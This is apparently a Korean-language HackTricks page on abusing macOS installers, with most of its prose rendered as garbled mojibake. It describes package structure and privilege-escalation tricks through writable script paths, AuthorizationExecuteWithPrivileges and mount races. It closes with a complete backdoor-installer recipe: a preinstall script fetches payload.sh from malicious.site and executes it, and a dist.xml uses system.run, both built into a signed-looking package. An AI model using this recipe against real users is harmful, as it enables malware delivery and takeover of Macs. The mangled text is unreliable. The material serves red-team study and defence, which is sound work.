macOS Installers Abuse

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Pkg ๊ธฐ๋ณธ ์ •๋ณด

macOS ์„ค์น˜ ํŒจํ‚ค์ง€(๋˜๋Š” .pkg ํŒŒ์ผ๋กœ๋„ ์•Œ๋ ค์ง)๋Š” macOS์—์„œ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ๋ฐฐํฌํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ํŒŒ์ผ ํ˜•์‹์ž…๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ๋“ค์€ ์†Œํ”„ํŠธ์›จ์–ด๊ฐ€ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์น˜๋˜๊ณ  ์‹คํ–‰๋˜๋Š” ๋ฐ ํ•„์š”ํ•œ ๋ชจ๋“  ๊ฒƒ์„ ๋‹ด๊ณ  ์žˆ๋Š” ์ƒ์ž์™€ ๊ฐ™์Šต๋‹ˆ๋‹ค.

ํŒจํ‚ค์ง€ ํŒŒ์ผ ์ž์ฒด๋Š” ๋Œ€์ƒ ์ปดํ“จํ„ฐ์— ์„ค์น˜๋  ํŒŒ์ผ ๋ฐ ๋””๋ ‰ํ† ๋ฆฌ์˜ ๊ณ„์ธต์„ ํฌํ•จํ•˜๋Š” ์•„์นด์ด๋ธŒ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ์„ค์น˜ ์ „ํ›„์— ์ž‘์—…์„ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•œ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์˜ˆ๋ฅผ ๋“ค์–ด ๊ตฌ์„ฑ ํŒŒ์ผ์„ ์„ค์ •ํ•˜๊ฑฐ๋‚˜ ์†Œํ”„ํŠธ์›จ์–ด์˜ ์ด์ „ ๋ฒ„์ „์„ ์ •๋ฆฌํ•˜๋Š” ์ž‘์—…์ด ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณ„์ธต

https://www.youtube.com/watch?v=iASSG0_zobQ
  • ๋ฐฐํฌ (xml): ์‚ฌ์šฉ์ž ์ •์˜(์ œ๋ชฉ, ํ™˜์˜ ํ…์ŠคํŠธโ€ฆ) ๋ฐ ์Šคํฌ๋ฆฝํŠธ/์„ค์น˜ ํ™•์ธ
  • PackageInfo (xml): ์ •๋ณด, ์„ค์น˜ ์š”๊ตฌ ์‚ฌํ•ญ, ์„ค์น˜ ์œ„์น˜, ์‹คํ–‰ํ•  ์Šคํฌ๋ฆฝํŠธ ๊ฒฝ๋กœ
  • ์ž์žฌ ๋ช…์„ธ์„œ (bom): ์„ค์น˜, ์—…๋ฐ์ดํŠธ ๋˜๋Š” ์ œ๊ฑฐํ•  ํŒŒ์ผ ๋ชฉ๋ก๊ณผ ํŒŒ์ผ ๊ถŒํ•œ
  • ํŽ˜์ด๋กœ๋“œ (CPIO ์•„์นด์ด๋ธŒ gzip ์••์ถ•): PackageInfo์—์„œ install-location์— ์„ค์น˜ํ•  ํŒŒ์ผ
  • ์Šคํฌ๋ฆฝํŠธ (CPIO ์•„์นด์ด๋ธŒ gzip ์••์ถ•): ์„ค์น˜ ์ „ํ›„ ์Šคํฌ๋ฆฝํŠธ ๋ฐ ์‹คํ–‰์„ ์œ„ํ•ด ์ž„์‹œ ๋””๋ ‰ํ† ๋ฆฌ์— ์ถ”์ถœ๋œ ์ถ”๊ฐ€ ๋ฆฌ์†Œ์Šค.

์••์ถ• ํ•ด์ œ

# Tool to directly get the files inside a package
pkgutil โ€”expand "/path/to/package.pkg" "/path/to/out/dir"

# Get the files ina. more manual way
mkdir -p "/path/to/out/dir"
cd "/path/to/out/dir"
xar -xf "/path/to/package.pkg"

# Decompress also the CPIO gzip compressed ones
cat Scripts | gzip -dc | cpio -i
cpio -i < Scripts

์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ์˜ ๋‚ด์šฉ์„ ์ˆ˜๋™์œผ๋กœ ์••์ถ• ํ•ด์ œํ•˜์ง€ ์•Š๊ณ  ์‹œ๊ฐํ™”ํ•˜๋ ค๋ฉด ๋ฌด๋ฃŒ ๋„๊ตฌ Suspicious Package๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

DMG ๊ธฐ๋ณธ ์ •๋ณด

DMG ํŒŒ์ผ, ๋˜๋Š” Apple Disk Images๋Š” Apple์˜ macOS์—์„œ ๋””์Šคํฌ ์ด๋ฏธ์ง€๋ฅผ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ํŒŒ์ผ ํ˜•์‹์ž…๋‹ˆ๋‹ค. DMG ํŒŒ์ผ์€ ๋ณธ์งˆ์ ์œผ๋กœ ๋งˆ์šดํŠธ ๊ฐ€๋Šฅํ•œ ๋””์Šคํฌ ์ด๋ฏธ์ง€(์ž์ฒด ํŒŒ์ผ ์‹œ์Šคํ…œ์„ ํฌํ•จ)๋กœ, ์ผ๋ฐ˜์ ์œผ๋กœ ์••์ถ•๋˜๊ณ  ๋•Œ๋•Œ๋กœ ์•”ํ˜ธํ™”๋œ ์›์‹œ ๋ธ”๋ก ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. DMG ํŒŒ์ผ์„ ์—ด๋ฉด macOS๊ฐ€ ๋ฌผ๋ฆฌ์  ๋””์Šคํฌ์ฒ˜๋Ÿผ ๋งˆ์šดํŠธํ•˜์—ฌ ๊ทธ ๋‚ด์šฉ์„ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

Caution

.dmg ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ์€ ๋งค์šฐ ๋งŽ์€ ํ˜•์‹์„ ์ง€์›ํ•˜๋ฏ€๋กœ, ๊ณผ๊ฑฐ์— ์ทจ์•ฝ์ ์„ ํฌํ•จํ•œ ์ผ๋ถ€๊ฐ€ ์ปค๋„ ์ฝ”๋“œ ์‹คํ–‰์„ ์–ป๊ธฐ ์œ„ํ•ด ์•…์šฉ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

๊ณ„์ธต ๊ตฌ์กฐ

DMG ํŒŒ์ผ์˜ ๊ณ„์ธต ๊ตฌ์กฐ๋Š” ๋‚ด์šฉ์— ๋”ฐ๋ผ ๋‹ค๋ฅผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ DMG์˜ ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์œผ๋กœ ๋‹ค์Œ ๊ตฌ์กฐ๋ฅผ ๋”ฐ๋ฆ…๋‹ˆ๋‹ค:

  • ์ตœ์ƒ์œ„: ๋””์Šคํฌ ์ด๋ฏธ์ง€์˜ ๋ฃจํŠธ์ž…๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํด๋”์— ๋Œ€ํ•œ ๋งํฌ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ (.app): ์‹ค์ œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ž…๋‹ˆ๋‹ค. macOS์—์„œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ผ๋ฐ˜์ ์œผ๋กœ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ๊ตฌ์„ฑํ•˜๋Š” ์—ฌ๋Ÿฌ ๊ฐœ๋ณ„ ํŒŒ์ผ๊ณผ ํด๋”๋ฅผ ํฌํ•จํ•˜๋Š” ํŒจํ‚ค์ง€์ž…๋‹ˆ๋‹ค.
  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ๋งํฌ: macOS์˜ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ํด๋”์— ๋Œ€ํ•œ ๋ฐ”๋กœ ๊ฐ€๊ธฐ์ž…๋‹ˆ๋‹ค. ์ด๋Š” ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์„ค์น˜๋ฅผ ์‰ฝ๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. .app ํŒŒ์ผ์„ ์ด ๋ฐ”๋กœ ๊ฐ€๊ธฐ๋กœ ๋“œ๋ž˜๊ทธํ•˜์—ฌ ์•ฑ์„ ์„ค์น˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

pkg ์•…์šฉ์„ ํ†ตํ•œ ๊ถŒํ•œ ์ƒ์Šน

๊ณต๊ฐœ ๋””๋ ‰ํ† ๋ฆฌ์—์„œ์˜ ์‹คํ–‰

์˜ˆ๋ฅผ ๋“ค์–ด, ์„ค์น˜ ์ „ ๋˜๋Š” ํ›„ ์Šคํฌ๋ฆฝํŠธ๊ฐ€ **/var/tmp/Installerutil**์—์„œ ์‹คํ–‰๋˜๊ณ , ๊ณต๊ฒฉ์ž๊ฐ€ ํ•ด๋‹น ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์‹คํ–‰๋  ๋•Œ๋งˆ๋‹ค ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜๋Š” ๋˜ ๋‹ค๋ฅธ ์œ ์‚ฌํ•œ ์˜ˆ:

https://www.youtube.com/watch?v=iASSG0_zobQ

https://www.youtube.com/watch?v=kCXhIYtODBg

AuthorizationExecuteWithPrivileges

์ด๋Š” ์—ฌ๋Ÿฌ ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ๊ณผ ์—…๋ฐ์ดํŠธ ํ”„๋กœ๊ทธ๋žจ์ด **๋ฃจํŠธ๋กœ ๋ฌด์–ธ๊ฐ€๋ฅผ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ํ˜ธ์ถœํ•˜๋Š” ๊ณต๊ฐœ ํ•จ์ˆ˜**์ž…๋‹ˆ๋‹ค. ์ด ํ•จ์ˆ˜๋Š” ์‹คํ–‰ํ•  ํŒŒ์ผ์˜ ๊ฒฝ๋กœ๋ฅผ ๋งค๊ฐœ๋ณ€์ˆ˜๋กœ ๋ฐ›์•„๋“ค์ด์ง€๋งŒ, ๊ณต๊ฒฉ์ž๊ฐ€ ์ด ํŒŒ์ผ์„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ๋ฃจํŠธ๋กœ ์‹คํ–‰์„ ์•…์šฉํ•˜์—ฌ ๊ถŒํ•œ์„ ์ƒ์Šน์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Breakpoint in the function to check wich file is loaded
(lldb) b AuthorizationExecuteWithPrivileges
# You could also check FS events to find this missconfig

๋” ๋งŽ์€ ์ •๋ณด๋Š” ์ด ๊ฐ•์˜๋ฅผ ํ™•์ธํ•˜์„ธ์š”: https://www.youtube.com/watch?v=lTOItyjTTkw

๋งˆ์šดํŠธ๋ฅผ ํ†ตํ•œ ์‹คํ–‰

์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ์ด /tmp/fixedname/bla/bla์— ์“ธ ๊ฒฝ์šฐ, ์†Œ์œ ์ž๊ฐ€ ์—†๋Š” /tmp/fixedname ์œ„์— ๋งˆ์šดํŠธ๋ฅผ ์ƒ์„ฑํ•˜์—ฌ ์„ค์น˜ ๊ณผ์ • ์ค‘์— ์–ด๋–ค ํŒŒ์ผ๋„ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด์˜ ์˜ˆ๋กœ CVE-2021-26089๊ฐ€ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ์ฃผ๊ธฐ์ ์ธ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋ฃจํŠธ ๊ถŒํ•œ์œผ๋กœ ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด ๋ฎ์–ด์“ฐ๋Š” ๋ฐ ์„ฑ๊ณตํ–ˆ์Šต๋‹ˆ๋‹ค. ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์ด ๊ฐ•์˜๋ฅผ ํ™•์ธํ•˜์„ธ์š”: OBTS v4.0: โ€œMount(ain) of Bugsโ€ - Csaba Fitzl

pkg๋ฅผ ์•…์„ฑ ์†Œํ”„ํŠธ์›จ์–ด๋กœ ์‚ฌ์šฉํ•˜๊ธฐ

๋นˆ ํŽ˜์ด๋กœ๋“œ

์‹ค์ œ ํŽ˜์ด๋กœ๋“œ ์—†์ด ์Šคํฌ๋ฆฝํŠธ ์ „ํ›„ ์„ค์น˜๋ฅผ ํฌํ•จํ•œ .pkg ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

๋ฐฐํฌ xml์˜ JS

ํŒจํ‚ค์ง€์˜ ๋ฐฐํฌ xml ํŒŒ์ผ์— <script> ํƒœ๊ทธ๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•ด๋‹น ์ฝ”๋“œ๋Š” ์‹คํ–‰๋˜์–ด **system.run**์„ ์‚ฌ์šฉํ•˜์—ฌ ๋ช…๋ น์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

๋ฐฑ๋„์–ด ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ

dist.xml ๋‚ด๋ถ€์— ์Šคํฌ๋ฆฝํŠธ์™€ JS ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ์•…์„ฑ ์„ค์น˜ ํ”„๋กœ๊ทธ๋žจ

# Package structure
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts

# Create preinstall scripts
cat > pkgroot/scripts/preinstall <<EOF
#!/bin/bash
echo "Running preinstall script"
curl -o /tmp/payload.sh http://malicious.site/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
exit 0
EOF

# Build package
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg

# Generate the malicious dist.xml
cat > ./dist.xml <<EOF
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="1">
<title>Malicious Installer</title>
<options customize="allow" require-scripts="false"/>
<script>
<![CDATA[
function installationCheck() {
if (system.isSandboxed()) {
my.result.title = "Cannot install in a sandbox.";
my.result.message = "Please run this installer outside of a sandbox.";
return false;
}
return true;
}
function volumeCheck() {
return true;
}
function preflight() {
system.run("/path/to/preinstall");
}
function postflight() {
system.run("/path/to/postinstall");
}
]]>
</script>
<choices-outline>
<line choice="default">
<line choice="myapp"/>
</line>
</choices-outline>
<choice id="myapp" title="MyApp">
<pkg-ref id="com.malicious.myapp"/>
</choice>
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
</installer-gui-script>
EOF

# Buil final
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg

์ฐธ๊ณ  ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ